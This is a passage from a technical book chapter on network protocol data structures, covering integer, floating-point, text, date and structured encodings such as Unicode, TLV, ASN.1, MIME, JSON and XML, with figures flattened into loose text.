the magnitude of the minimum is larger than the maximum. If the mini-
mum value is negated, the result is itself; in other words, –(–128) is –128. 
This can cause calculations to be incorrect in parsed formats, leading to 
security vulnerabilities. We’ll go into more detail in Chapter 10. 

Variable-Length Integers

Efficient transfer of network data has historically been very important. Even 
though today’s high-speed networks might make efficiency concerns unnec-
essary, there are still advantages to reducing a protocol’s bandwidth. It can 
be beneficial to use variable-length integers when the most common integer 
values being represented are within a very limited range. 

For example, consider length fields: when sending blocks of data between 
0 and 127 bytes in size, you could use a 7-bit variable integer representation. 
Figure 3-3 shows a few different encodings for 32-bit words. At most, five 
octets are required to represent the entire range. But if your protocol tends 
to assign values between 0 and 127, it will only use one octet, which saves a 
considerable amount of space. 
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0x3F0x3F as 7-bit
variable integer

0x80 0x010x80 as 7-bit
variable integer

Lowest address

0x84 0x860x01020304 as 
7-bit variable integer 0x88 0x08

0xFF 0xFF0xFFFFFFFF as 
7-bit variable integer 0xFF 0xFF 0x0F

Figure 3-3: Example 7-bit integer encoding

That said, if you parse more than five octets (or even 32 bits), the 
resulting integer from the parsing operation will depend on the parsing 
program. Some programs (including those developed in C) will simply 
drop any bits beyond a given range, whereas other development environ-
ments will generate an overflow error. If not handled correctly, this inte-
ger overflow might lead to vulnerabilities, such as buffer overflows, which 
could cause a smaller than expected memory buffer to be allocated, in 
turn resulting in memory corruption.

Floating-Point Data

Sometimes, integers aren’t enough to represent the range of decimal values 
needed for a protocol. For example, a protocol for a multiplayer computer 
game might require sending the coordinates of players or objects in the 
game’s virtual world. If this world is large, it would be easy to run up against 
the limited range of a 32- or even 64-bit fixed-point value. 

The format of floating-point integers used most often is the IEEE for-
mat specified in IEEE Standard for Floating-Point Arithmetic (IEEE 754). 
Although the standard specifies a number of different binary and even 
decimal formats for floating-point values, you’re likely to encounter only 
two: a single-precision binary representation, which is a 32-bit value; and 
a double-precision, 64-bit value. Each format specifies the position and bit 
size of the significand and exponent. A sign bit is also specified, indicating 
whether the value is positive or negative. Figure 3-4 shows the general lay-
out of an IEEE floating-point value, and Table 3-2 lists the common expo-
nent and significand sizes.
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SignificandExponent

Sign

IEEE floating-point format

MSB LSB

Figure 3-4: Floating-point representation

Table 3-2: Common Float Point Sizes and Ranges

Bit size Exponent bits Significand bits Value range

32 8 23 +/– 3.402823 × 1038

64 11 52 +/– 1.79769313486232 × 10308

Booleans
Because Booleans are very important to computers, it’s no surprise to see 
them reflected in a protocol. Each protocol determines how to represent 
whether a Boolean value is true or false, but there are some common 
conventions.

The basic way to represent a Boolean is with a single-bit value. A 0 bit 
means false and a 1 means true. This is certainly space efficient but not 
necessarily the simplest way to interface with an underlying application. 
It’s more common to use a single byte for a Boolean value because it’s far 
easier to manipulate. It’s also common to use zero to represent false and 
non-zero to represent true. 

Bit Flags
Bit flags are one way to represent specific Boolean states in a protocol. For 
example, in TCP a set of bit flags is used to determine the current state of a 
connection. When making a connection, the client sends a packet with the 
synchronize flag (SYN) set to indicate that the connections should synchro-
nize their timers. The server can then respond with an acknowledgment 
(ACK) flag to indicate it has received the client request as well as the SYN 
flag to establish the synchronization with the client. If this handshake used 
single enumerated values, this dual state would be impossible without a dis-
tinct SYN/ACK state.

Binary Endian 
The endianness of data is a very important part of interpreting binary pro-
tocols correctly. It comes into play whenever a multi-octet value, such as a 
32-bit word, is transferred. The endian is an artifact of how computers store 
data in memory. 
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Because octets are transmitted sequentially on the network, it’s possible 
to send the most significant octet of a value as the first part of the transmis-
sion, as well as the reverse—send the least significant octet first. The order 
in which octets are sent determines the endianness of the data. Failure to 
correctly handle the endian format can lead to subtle bugs in the parsing of 
protocols.

Modern platforms use two main endian formats: big and little. Big 
endian stores the most significant byte at the lowest address, whereas 
little endian stores the least significant byte in that location. Figure 3-5 
shows how the 32-bit integer 0x01020304 is stored in both forms.

0x01 0x02
0x01020304 

as 32-bit 
big endian word

0x03 0x04

0x04 0x03
0x01020304 

as 32-bit 
little endian word

0x02 0x01

Lowest address Highest address

N ote   	

Figure 3-5: Big and little endian word representation

The endianness of a value is commonly referred to as either network 
order or host order. Because the Internet RFCs invariably use big endian as
the preferred type for all network protocols they specify (unless there are 
legacy reasons for doing otherwise), big endian is referred to as network 
order. But your computer could be either big or little endian. Processor 
architectures such as x86 use little endian; others such as SPARC use big 
endian. 

Some processor architectures, including SPARC, ARM, and MIPS, may have 
onboard logic that specifies the endianness at runtime, usually by toggling a proces-
sor control flag. When developing network software, make no assumptions about the 
endianness of the platform you might be running on. The networking API used to 
build an application will typically contain convenience functions for converting to 
and from these orders. Other platforms, such as PDP-11, use a middle endian format 
where 16-bit words are swapped; however, you’re unlikely to ever encounter one in 
everyday life, so don’t dwell on it. 

Text and Human-Readable Data
Along with numeric data, strings are the value type you’ll most commonly 
encounter, whether they’re being used for passing authentication creden-
tials or resource paths. When inspecting a protocol designed to send only 
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English characters, the text will probably be encoded using ASCII. The 
original ASCII standard defined a 7-bit character set from 0 to 0x7F, which 
includes most of the characters needed to represent the English language 
(shown in Figure 3-6).

0 1 2 3 4 5 6 7 8 9 A B C D E F

NUL SOH STX ETX EOT ENQ ACK BEL BS TAB LF VT FF CR SO SI

DLE DC1 DC2 DC3 DC4 NAK SYN ETB CAN EM SUB ESC FS GS RS US

SP ! " # $ % & ' ( ) * + , - . /

0 1 2 3 4 5 6 7 8 9 : ; < = > ?

@ A B C D E F G H I J K L M N O

P Q R S T U V W X Y Z [ \ ] ^ _

` a b c d e f g h i j k l m n o

p q r s t u v w x y z { | } ~ DEL

0

1

2

3

4

5

6

7

Control
character

Printable
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Figure 3-6: A 7-bit ASCII table

The ASCII standard was originally developed for text terminals (physi-
cal devices with a moving printing head). Control characters were used to 
send messages to the terminal to move the printing head or to synchronize 
serial communications between the computer and the terminal. The ASCII 
character set contains two types of characters: control and printable. Most of 
the control characters are relics of those devices and are virtually unused. 
But some still provide information on modern computers, such as CR and 
LF, which are used to end lines of text. 

The printable characters are the ones you can see. This set of char-
acters consists of many familiar symbols and alphanumeric characters; 
however, they won’t be of much use if you want to represent international 
characters, of which there are thousands. It’s unachievable to represent 
even a fraction of the possible characters in all the world’s languages in a 
7-bit number.

Three strategies are commonly employed to counter this limitation: 
code pages, multibyte character sets, and Unicode. A protocol will either 
require that you use one of these three ways to represent text, or it will offer 
an option that an application can select. 
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Code Pages

The simplest way to extend the ASCII character set is by recognizing that if 
all your data is stored in octets, 128 unused values (from 128 to 255) can be 
repurposed for storing extra characters.  Although 256 values are not enough 
to store all the characters in every available language, you have many differ-
ent ways to use the unused range. Which characters are mapped to which 
values is typically codified in specifications called code pages or character 
encodings. 

Multibyte Character Sets

In languages such as Chinese, Japanese, and Korean (collectively referred 
to as CJK), you simply can’t come close to representing the entire written 
language with 256 characters, even if you use all available space. The solu-
tion is to use multibyte character sets combined with ASCII to encode these 
languages. Common encodings are Shift-JIS for Japanese and GB2312 for 
simplified Chinese. 

Multibyte character sets allow you to use two or more octets in sequence to 
encode a desired character, although you’ll rarely see them in use. In fact, 
if you’re not working with CJK, you probably won’t see them at all. (For the 
sake of brevity, I won’t discuss multibyte character sets any further; plenty of 
online resources will aid you in decoding them if required.)

Unicode

The Unicode standard, first standardized in 1991, aims to represent all 
languages within a unified character set. You might think of Unicode as 
another multibyte character set. But rather than focusing on a specific 
language, such as Shift-JIS does with Japanese, it tries to encode all written 
languages, including some archaic and constructed ones, into a single uni-
versal character set.

Unicode defines two related concepts: character mapping and character 
encoding. Character mappings include mappings between a numeric value 
and a character, as well as many other rules and regulations on how char-
acters are used or combined. Character encodings define the way these 
numeric values are encoded in the underlying file or network protocol. 
For analysis purposes, it’s far more important to know how these numeric 
values are encoded. 

Each character in Unicode is assigned a code point that represents 
a unique character. Code points are commonly written in the format 
U+ABCD, where ABCD is the code point’s hexadecimal value. For the 
sake of compatibility, the first 128 code points match what is specified in 
ASCII, and the second 128 code points are taken from ISO/IEC 8859-1. 
The resulting value is encoded using a specific scheme, sometimes referred 
to as Universal Character Set (UCS) or Unicode Transformation Format (UTF) 
encodings. (Subtle differences exist between UCS and UTF formats, 
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but for the sake of identification and manipulation, these differences 
are unimportant.) Figure 3-7 shows a simple example of some different 
Unicode formats. 

Code points: Hello = U+0048 - U+0065 - U+006C - U+006C - U+006F

UCS-2/UTF-16 Little endian

UCS-2/UTF-16 Big endian

UCS-4/UTF-32 Little endian

UTF-8

0x48 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x6F 0x00

0x48 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x6F0x00

0x48 0x00 0x00 0x00 0x65 0x00 0x00 0x00 0x6C 0x00 0x00 0x00

0x6C 0x00 0x00 0x00 0x6F 0x00 0x00 0x00

0x48 0x65 0x6C 0x6C 0x6F

Figure 3-7: The string "Hello" in different Unicode encodings

Three common Unicode encodings in use are UTF-16, UTF-32, 
and UTF-8. 

UCS-2/UTF-16 
UCS-2/UTF-16 is the native format on modern Microsoft Windows plat-
forms, as well as the Java and .NET virtual machines when they are run-
ning code. It encodes code points in sequences of 16-bit integers and 
has little and big endian variants.

UCS-4/UTF-32 
UCS-4/UTF-32 is a common format used in Unix applications because 
it’s the default wide-character format in many C/C++ compilers. It 
encodes code points in sequences of 32-bit integers and has different 
endian variants.

UTF-8
UTF-8 is probably the most common format on Unix. It is also the 
default input and output format for varying platforms and technolo-
gies, such as XML. Rather than having a fixed integer size for code 
points, it encodes them using a simple variable length value. Table 3-3 
shows how code points are encoded in UTF-8.
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Table 3-3: Encoding Rules for Unicode Code Points in UTF-8

Bits of 
code 
point

First 
code 
point (U+)

Last 
code 
point (U+)

Byte 1 Byte 2 Byte 3 Byte 4

0–7 0000 007F 0xxxxxxx

8–11 0080 07FF 110xxxxx 10xxxxxx

12–16 0800 FFFF 1110xxxx 10xxxxxx 10xxxxxx

17–21 10000 1FFFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

22–26 200000 3FFFFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx

26–31 4000000 7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx

UTF-8 has many advantages. For one, its encoding definition ensures 
that the ASCII character set, code points U+0000 through U+007F, are 
encoded using single bytes. This scheme makes this format not only ASCII 
compatible but also space efficient. In addition, UTF-8 is compatible with 
C/C++ programs that rely on NUL-terminated strings. 

For all of its benefits, UTF-8 does come at a cost, because languages 
like Chinese and Japanese consume more space than they do in UTF-16. 
Figure 3-8 shows such a disadvantageous encoding of Chinese characters. 
But notice that the UTF-8 in this example is still more space efficient than 
the UTF-32 for the same characters. 

Code points:  = U+5154 - U+5B50

0x54 0x51 0x50 0x5B

UCS-2/UTF-16 Little endian

0x51 0x54 0x5B 0x50

UCS-2/UTF-16 Big endian

UCS-4/UTF-32 Little endian

0x54 0x51 0x00 0x00 0x50 0x5B 0x00 0x00

UTF-8

0xE5 0x85 0x94 0xE5 0xAD 0x90

Figure 3-8: The string "兔子" in different Unicode encodings

N O T E 	 Incorrect or naive character encoding can be a source of subtle security issues, rang-
ing from bypassing filtering mechanisms (say in a requested resource path) to causing 
buffer overflows. We’ll investigate some of the vulnerabilities associated with character 
encoding in Chapter 10. 
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Variable Binary Length Data
If the protocol developer knows in advance exactly what data must be 
transmitted, they can ensure that all values within the protocol are of a 
fixed length. In reality this is quite rare, although even simple authentica-
tion credentials would benefit from the ability to specify variable username 
and password string lengths. Protocols use several strategies to produce 
variable-length data values: I discuss the most common—terminated data, 
length-prefixed data, implicit-length data, and padded data—in the follow-
ing sections.

Terminated Data

You saw an example of variable-length data when variable-length integers 
were discussed earlier in this chapter. The variable-length integer value was 
terminated when the octet’s MSB was 0. We can extend the concept of ter-
minating values further to elements like strings or data arrays. 

A terminated data value has a terminal symbol defined that tells the 
data parser that the end of the data value has been reached. The terminal 
symbol is used because it’s unlikely to be present in typical data, ensuring 
that the value isn’t terminated prematurely. With string data, the terminat-
ing value can be a NUL value (represented by 0) or one of the other control 
characters in the ASCII set. 

If the terminal symbol chosen occurs during normal data transfer, you 
need to use a mechanism to escape these symbols. With strings, it’s com-
mon to see the terminating character either prefixed with a backslash (\) 
or repeated twice to prevent it from being identified as the terminal sym-
bol. This approach is especially useful when a protocol doesn’t know ahead 
of time how long a value is—for example, if it’s generated dynamically. 
Figure 3-9 shows an example of a string terminated by a NUL value. 

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

NUL
0x00

Valid string data

Terminating
character

Figure 3-9: "Hello" as a NUL-terminated string

Bounded data is often terminated by a symbol that matches the first 
character in the variable-length sequence. For example, when using string 
data, you might find a quoted string sandwiched between quotation marks. The 
initial double quote tells the parser to look for the matching character to end 
the data. Figure 3-10 shows a string bounded by a pair of double quotes. 
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'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

'"'
0x22

'"'
0x22

Valid string data

Starting
quote

Ending
quote

Figure 3-10: "Hello" as a double-quoted bounded string

Length-Prefixed Data

If a data value is known in advance, it’s possible to insert its length into the 
protocol directly. The protocol’s parser can read this value and then read 
the appropriate number of units (say characters or octets) to extract the 
original value. This is a very common way to specify variable-length data.

The actual size of the length prefix is usually not that important, although 
it should be reasonably representative of the types of data being transmitted. 
Most protocols won’t need to specify the full range of a 32-bit integer; how-
ever, you’ll often see that size used as a length field, if only because it fits well 
with most processor architectures and platforms. For example, Figure 3-11 
shows a string with an 8-bit length prefix.

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x05

Number of
characters 5 Characters

Figure 3-11: "Hello" as a length-prefixed string

Implicit-Length Data

Sometimes the length of the data value is implicit in the values around it. 
For example, think of a protocol that is sending data back to a client using 
a connection-oriented protocol such as TCP. Rather than specifying the 
size of the data up front, the server could close the TCP connection, thus 
implicitly signifying the end of the data. This is how data is returned in an 
HTTP version 1.0 response. 

Another example would be a higher-level protocol or structure that 
has already specified the length of a set of values. The parser might extract 
that higher-level structure first and then read the values contained within 
it. The protocol could use the fact that this structure has a finite length 
associated with it to implicitly calculate the length of a value in a similar 
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fashion to close the connection (without closing it, of course). For example, 
Figure 3-12 shows a trivial example where a 7-bit variable integer and string 
are contained within a single block. (Of course, in practice, this can be con-
siderably more complex.)

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x07

Total
size

String data

7 Octets of
data

0x80 0x00

0x80 as 7-bit
variable integer

Figure 3-12: "Hello" as an implicit-length string

Padded Data

Padded data is used when there is a maximum upper bound on the length 
of a value, such as a 32-octet limit. For the sake of simplicity, rather than 
prefixing the value with a length or having an explicit terminating value, 
the protocol could instead send the entire fixed-length string but termi-
nate the value by padding the unused data with a known value. Figure 3-13 
shows an example.

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

'$'
0x24

'$'
0x24

'$'
0x24

'$'
0x24

'$'
0x24

'$'
0x24

Valid string data Padding data

Figure 3-13: "Hello" as a '$' padded string

Dates and Times
It can be very important for a protocol to get the correct date and time. 
Both can be used as metadata, such as file modification timestamps in a 
network file protocol, as well as to determine the expiration of authenti-
cation credentials. Failure to correctly implement the timestamp might 
cause serious security issues. The method of date and time representation 
depends on usage requirements, the platform the applications are running 
on, and the protocol’s space requirements. I discuss two common repre-
sentations, POSIX/Unix Time and Windows FILETIME, in the following 
sections.
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POSIX/Unix Time
Currently, POSIX/Unix time is stored as a 32-bit signed integer value rep-
resenting the number of seconds that have elapsed since the Unix epoch, 
which is usually specified as 00:00:00 (UTC), 1 January 1970. Although this 
isn’t a high-definition timer, it’s sufficient for most scenarios. As a 32-bit inte-
ger, this value is limited to 03:14:07 (UTC) 19 January 2038, at which point 
the representation will overflow. Some modern operating systems now use 
a 64-bit representation to address this problem. 

Windows FILETIME
The Windows FILETIME is the date and time format used by Microsoft 
Windows for its filesystem timestamps. As the only format on Windows with 
simple binary representation, it also appears in a few different protocols. 

The FILETIME format is a 64-bit unsigned integer. One unit of the 
integer represents a 100 ns interval. The epoch of the format is 00:00:00 
(UTC), 1 January 1601. This gives the FILETIME format a larger range 
than the POSIX/Unix time format. 

Tag, Length, Value Pattern
It’s easy to imagine how one might send unimportant data using simple pro-
tocols, but sending more complex and important data takes some explain-
ing. For example, a protocol that can send different types of structures must 
have a way to represent the bounds of a structure and its type. 

One way to represent data is with a Tag, Length, Value (TLV) pattern. The 
Tag value represents the type of data being sent by the protocol, which is 
commonly a numeric value (usually an enumerated list of possible values). 
But the Tag can be anything that provides the data structures with a unique 
pattern. The Length and Value are variable-length values. The order in 
which the values appear isn’t important; in fact, the Tag might be part 
of the Value. Figure 3-14 show a couple of ways these values could be 
arranged. 

The Tag value sent can be used to determine how to further process the 
data. For example, given two types of Tags, one that indicates the authenti-
cation credentials to the application and another that represents a message 
being transmitted to the parser, we must be able to distinguish between 
the two types of data. One big advantage to this pattern is that it allows 
us to extend a protocol without breaking applications that have not been 
updated to support the updated protocol. Because each structure is sent 
with an associated Tag and Length, a protocol parser could ignore the 
structures that it doesn’t understand. 
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0x00 0x03 0x12 0x34 0x560x08

Tag outside 
value 3-octet value

16-bit
length

0x00 0x04 0x12 0x34 0x560x08

4-octet value

16-bit
length

Tag inside
value

Figure 3-14: Possible TLV arrangements

Multiplexing and Fragmentation
Often in computer communication, multiple tasks must happen at once. 
For example, consider the Microsoft Remote Desktop Protocol (RDP): a user 
could be moving the mouse cursor, typing on the keyboard, and transfer-
ring files to a remote computer while changes in the display and audio are 
being transmitted back to the user (see Figure 3-15).

Remote desktop server

Remote desktop
client

User interface updates

Keyboard and mouse updates

Sound

Shared files

Figure 3-15: Data needs for Remote Desktop Protocol

This complex data transfer would not result in a very rich experience 
if display updates had to wait for a 10-minute audio file to finish before 
updating the display. Of course, a workaround would be opening multiple 
connections to the remote computer, but those would use more resources. 
Instead, many protocols use multiplexing, which allows multiple connections 
to share the same underlying network connection.

Multiplexing (shown in Figure 3-16) defines an internal channel mecha-
nism that allows a single connection to host multiple types of traffic by 
fragmenting large transmissions into smaller chunks. Multiplexing then 
combines these chunks into a single connection. When analyzing a proto-
col, you may need to demultiplex these channels to get the original data 
back out. 
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Remote desktop server

Remote desktop client

User
interface
update

1 2 3 4 5

Shared
file

update

Sound
update

Sound
update

User
interface
update

Figure 3-16: Multiplexed RDP data

Unfortunately, some network protocols restrict the type of data that 
can be transmitted and how large each packet of data can be—a problem 
commonly encountered when layering protocols. For example, Ethernet 
defines the maximum size of traffic frames as 1500 octets, and running IP 
on top of that causes problems because the maximum size of IP packets 
can be 65536 bytes. Fragmentation is designed to solve this problem: it 
uses a mechanism that allows the network stack to convert large packets 
into smaller fragments when the application or OS knows that the entire 
packet cannot be handled by the next layer.

Network Address Information
The representation of network address information in a protocol usually 
follows a fairly standard format. Because we’re almost certainly dealing 
with TCP or UDP protocols, the most common binary representation is the 
IP address as either a 4- or 16-octet value (for IPv4 or IPv6) along with a 
2-octet port. By convention, these values are typically stored as big endian 
integer values. 

You might also see hostnames sent instead of raw addresses. Because 
hostnames are just strings, they follow the patterns used for sending 
variable-length strings, which was discussed earlier in “Variable Binary 
Length Data” on page 47. Figure 3-17 shows how some of these formats 
might appear. 
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0x7F 0x00 0x00 0x01 0x00 0x50

IPv4 address
127.0.0.1 TCP port 80

'a' '.' 'c' 'o' 'm'

Hostname
a.com

0x00 0x00 0x50

TCP port 80

Terminating
character

0x00 0x00 0x01 0x00 0x50

IPv6 address
(128 bits)

::1 TCP port 80

0x00 0x00 0x00 . . .

Figure 3-17: Network information in binary

Structured Binary Formats
Although custom network protocols have a habit of reinventing the wheel, 
sometimes it makes more sense to repurpose existing designs when describ-
ing a new protocol. For example, one common format encountered in binary 
protocols is Abstract Syntax Notation 1 (ASN.1). ASN.1 is the basis for protocols 
such as the Simple Network Management Protocol (SNMP), and it is the 
encoding mechanism for all manner of cryptographic values, such as X.509 
certificates.

ASN.1 is standardized by the ISO, IEC, and ITU in the X.680 series. It 
defines an abstract syntax to represent structured data. Data is represented 
in the protocol depending on the encoding rules, and numerous encodings 
exist. But you’re most likely to encounter the Distinguished Encoding Rules 
(DER), which is designed to represent ASN.1 structures in a way that can-
not be misinterpreted—a useful property for cryptographic protocols. The 
DER representation is a good example of a TLV protocol. 
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Rather than going into great detail about ASN.1 (which would take up 
a fair amount of this book), I give you Listing 3-1, which shows the ASN.1 
for X.509 certificates.

Certificate  ::=  SEQUENCE  {
     version         [0]  EXPLICIT Version DEFAULT v1,
     serialNumber         CertificateSerialNumber,
     signature            AlgorithmIdentifier,
     issuer               Name,
     validity             Validity,
     subject              Name,
     subjectPublicKeyInfo SubjectPublicKeyInfo,
     issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
     subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
     extensions      [3]  EXPLICIT Extensions OPTIONAL
}

Listing 3-1: ASN.1 representation for X.509 certificates

This abstract definition of an X.509 certificate can be represented in 
any of ASN.1’s encoding formats. Listing 3-2 shows a snippet of the DER 
encoded form dumped as text using the OpenSSL utility.

$ openssl asn1parse -in example.cer
    0:d=0  hl=4 l= 539 cons: SEQUENCE
    4:d=1  hl=4 l= 388 cons: SEQUENCE
    8:d=2  hl=2 l=   3 cons: cont [ 0 ]
   10:d=3  hl=2 l=   1 prim: INTEGER         :02
   13:d=2  hl=2 l=  16 prim: INTEGER         :19BB8E9E2F7D60BE48BFE6840B50F7C3
   31:d=2  hl=2 l=  13 cons: SEQUENCE
   33:d=3  hl=2 l=   9 prim: OBJECT          :sha1WithRSAEncryption
   44:d=3  hl=2 l=   0 prim: NULL
   46:d=2  hl=2 l=  17 cons: SEQUENCE
   48:d=3  hl=2 l=  15 cons: SET
   50:d=4  hl=2 l=  13 cons: SEQUENCE
   52:d=5  hl=2 l=   3 prim: OBJECT          :commonName
   57:d=5  hl=2 l=   6 prim: PRINTABLESTRING :democa

Listing 3-2: A small sample of X.509 certificate

Text Protocol Structures
Text protocols are a good choice when the main purpose is to transfer text, 
which is why mail transfer protocols, instant messaging, and news aggrega-
tion protocols are usually text based. Text protocols must have structures 
similar to binary protocols. The reason is that, although their main content 
differs, both share the goal of transferring data from one place to another.

The following section details some common text protocol structures 
that you’ll likely encounter in the real world. 
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Numeric Data
Over the millennia, science and written languages have invented ways to 
represent numeric values in textual format. Of course, computer protocols 
don’t need to be human readable, but why go out of your way just to prevent 
a protocol from being readable (unless your goal is deliberate obfuscation).

Integers

It’s easy to represent integer values using the current character set’s repre-
sentation of the characters 0 through 9 (or A through F if hexadecimal). In 
this simple representation, size limitations are no concern, and if a number 
needs to be larger than a binary word size, you can add digits. Of course, 
you’d better hope that the protocol parser can handle the extra digits or 
security issues will inevitably occur. 

To make a signed number, you add the minus (–) character to the front 
of the number; the plus (+) symbol for positive numbers is implied. 

Decimal Numbers

Decimal numbers are usually defined using human-readable forms. For 
example, you might write a number as 1.234, using the dot character to sep-
arate the integer and fractional components of the number; however, you’ll 
still need to consider the requirement of parsing a value afterward. 

Binary representations, such as floating point, can’t represent all deci-
mal values precisely with finite precision (just as decimals can’t represent 
numbers like 1/3). This fact can make some values difficult to represent in 
text format and can cause security issues, especially when values are com-
pared to one another.

Text Booleans
Booleans are easy to represent in text protocols. Usually, they’re repre-
sented using the words true or false. But just to be difficult, some protocols 
might require that words be capitalized exactly to be valid. And sometimes 
integer values will be used instead of words, such as 0 for false and 1 for 
true, but not very often. 

Dates and Times
At a simple level, it’s easy to encode dates and times: just represent them as 
they would be written in a human-readable language. As long as all applica-
tions agree on the representation, that should suffice. 

Unfortunately, not everyone can agree on a standard format, so typi-
cally many competing date representations are in use. This can be a partic-
ularly acute issue in applications such as mail clients, which need to process 
all manner of international date formats. 
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Variable-Length Data
All but the most trivial protocols must have a way to separate important text 
fields so they can be easily interpreted. When a text field is separated out of 
the original protocol, it’s commonly referred to as a token. Some protocols 
specify a fixed length for tokens, but it’s far more common to require some 
type of variable-length data. 

Delimited Text

Separating tokens with delimiting characters is a very common way to sepa-
rate tokens and fields that’s simple to understand and easy to construct and 
parse. Any character can be used as the delimiter (depending on the type 
of data being transferred), but whitespace is encountered most in human-
readable formats. That said, the delimiter doesn’t have to be whitespace. 
For example, the Financial Information Exchange (FIX) protocol delimits 
tokens using the ASCII Start of Header (SOH) character with a value of 1. 

Terminated Text

Protocols that specify a way to separate individual tokens must also have a 
way to define an End of Command condition. If a protocol is broken into 
separate lines, the lines must be terminated in some way. Most well-known, 
text-based Internet protocols are line oriented, such as HTTP and IRC; lines 
typically delimit entire structures, such as the end of a command. 

What constitutes the end-of-line character? That depends on whom 
you ask. OS developers usually define the end-of-line character as either 
the ASCII Line Feed (LF), which has the value 10; the Carriage Return (CR) 
with the value 13; or the combination CR LF. Protocols such as HTTP and 
Simple Mail Transfer Protocol (SMTP) specify CR LF as the official end-of-
line combination. However, so many incorrect implementations occur that 
most parsers will also accept a bare LF as the end-of-line indication. 

Structured Text Formats
As with structured binary formats such ASN.1, there is normally no reason 
to reinvent the wheel when you want to represent structured data in a text 
protocol. You might think of structured text formats as delimited text on 
steroids, and as such, rules must be in place for how values are represented 
and hierarchies constructed. With this in mind, I’ll describe three formats 
in common use within real-world text protocols. 

Multipurpose Internet Mail Extensions

Originally developed for sending multipart email messages, Multipurpose 
Internet Mail Extensions (MIME) found its way into a number of protocols, 
such as HTTP. The specification in RFCs 2045, 2046 and 2047, along with 
numerous other related RFCs, defines a way of encoding multiple discrete 
attachments in a single MIME-encoded message.
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MIME messages separate the body parts by defining a common separa-
tor line prefixed with two dashes (--). The message is terminated by follow-
ing this separator with the same two dashes. Listing 3-3 shows an example 
of a text message combined with a binary version of the same message.

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=MSG_2934894829

This is a message with multiple parts in MIME format.
--MSG_2934894829
Content-Type: text/plain

Hello World!
--MSG_2934894829
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

PGh0bWw+Cjxib2R5PgpIZWxsbyBXb3JsZCEKPC9ib2R5Pgo8L2h0bWw+Cg==
--MSG_2934894829--

Listing 3-3: A simple MIME message

One of the most common uses of MIME is for Content-Type values, 
which are usually referred to as MIME types. A MIME type is widely used 
when serving HTTP content and in operating systems to map an applica-
tion to a particular content type. Each type consists of the form of the data 
it represents, such as text or application, in the format of the data. In this 
case, plain is unencoded text and octet-stream is a series of bytes. 

JavaScript Object Notation

JavaScript Object Notation (JSON) was designed as a simple representation for 
a structure based on the object format provided by the JavaScript program-
ming language. It was originally used to transfer data between a web page 
in a browser and a backend service, such as in Asynchronous JavaScript and 
XML (AJAX). Currently, it’s commonly used for web service data transfer 
and all manner of other protocols. 

The JSON format is simple: a JSON object is enclosed using the braces 
({}) ASCII characters. Within these braces are zero or more member entries, 
each consisting of a key and a value. For example, Listing 3-4 shows a simple 
JSON object consisting of an integer index value, "Hello world!" as a string, 
and an array of strings. 

{
    "index" : 0,
    "str" : "Hello World!",
    "arr" : [ "A", "B" ] 
}

Listing 3-4: A simple JSON object
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The JSON format was designed for JavaScript processing, and it can be 
parsed using the "eval" function. Unfortunately, using this function comes 
with a significant security risk; namely, it’s possible to insert arbitrary script 
code during object creation. Although most modern applications use a pars-
ing library that doesn’t need a connection to JavaScript, it’s worth ensuring 
that arbitrary JavaScript code is not executed in the context of the applica-
tion. The reason is that it could lead to potential security issues, such as cross-
site scripting (XSS), a vulnerability where attacker-controlled JavaScript can be 
executed in the context of another web page, allowing the attacker to access 
the page’s secure resources. 

Extensible Markup Language

Extensible Markup Language (XML) is a markup language for describing 
a structured document format. Developed by the W3C, it’s derived from 
Standard Generalized Markup Language (SGML). It has many similarities 
to HTML, but it aims to be stricter in its definition in order to simplify 
parsers and create fewer security issues.1 

At a basic level, XML consists of elements, attributes, and text. Elements 
are the main structural values. They have a name and can contain child 
elements or text content. Only one root element is allowed in a single docu-
ment. Attributes are additional name-value pairs that can be assigned to an 
element. They take the form of name="Value". Text content is just that, text. 
Text is a child of an element or the value component of an attribute. 

Listing 3-5 shows a very simple XML document with elements, attri-
butes, and text values. 

<value index="0">    <str>Hello World!</str>
    <arr><value>A</value><value>B</value></arr>
</value>

Listing 3-5: A simple XML document

All XML data is text; no type information is provided for in the XML 
specification, so the parser must know what the values represent. Certain 
specifications, such as XML Schema, aim to remedy this type information 
deficiency but they are not required in order to process XML content. The 
XML specification defines a list of well-formed criteria that can be used to 
determine whether an XML document meets a minimal level of structure. 

XML is used in many different places to define the way informa-
tion is transmitted in a protocol, such as in Rich Site Summary (RSS). It 
can also be part of a protocol, as in Extensible Messaging and Presence 
Protocol (XMPP).

1. Just ask those who have tried to parse HTML for errant script code how difficult that task 
can be without a strict format.
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Encoding Binary Data
In the early history of computer communication, 8-bit bytes were not 
the norm. Because most communication was text based and focused on 
English-speaking countries, it made economic sense to send only 7 bits per 
byte as required by the ASCII standard. This allowed other bits to provide 
control for serial link protocols or to improve performance. This history 
is reflected heavily in some early network protocols, such as the SMTP or 
Network News Transfer Protocol (NNTP), which assume 7-bit communica-
tion channels. 

But a 7-bit limitation presents a problem if you want to send that amus-
ing picture to your friend via email or you want to write your mail in a non-
English character set. To overcome this limitation, developers devised a 
number of ways to encode binary data as text, each with varying degrees of 
efficiency or complexity. 

As it turns out, the ability to convert binary content into text still has its 
advantages. For example, if you wanted to send binary data in a structured 
text format, such as JSON or XML, you might need to ensure that delimit-
ers were appropriately escaped. Instead, you can choose an existing encod-
ing format, such as Base64, to send the binary data and it will be easily 
understood on both sides. 

Let’s look at some of the more common binary-to-text encoding schemes 
you’re likely to encounter when inspecting a text protocol. 

Hex Encoding
One of the most naive encoding techniques for binary data is hex encoding. 
In hex encoding, each octet is split into two 4-bit values that are converted to 
two text characters denoting the hexadecimal representation. The result is a 
simple representation of the binary in text form, as shown in Figure 3-18.

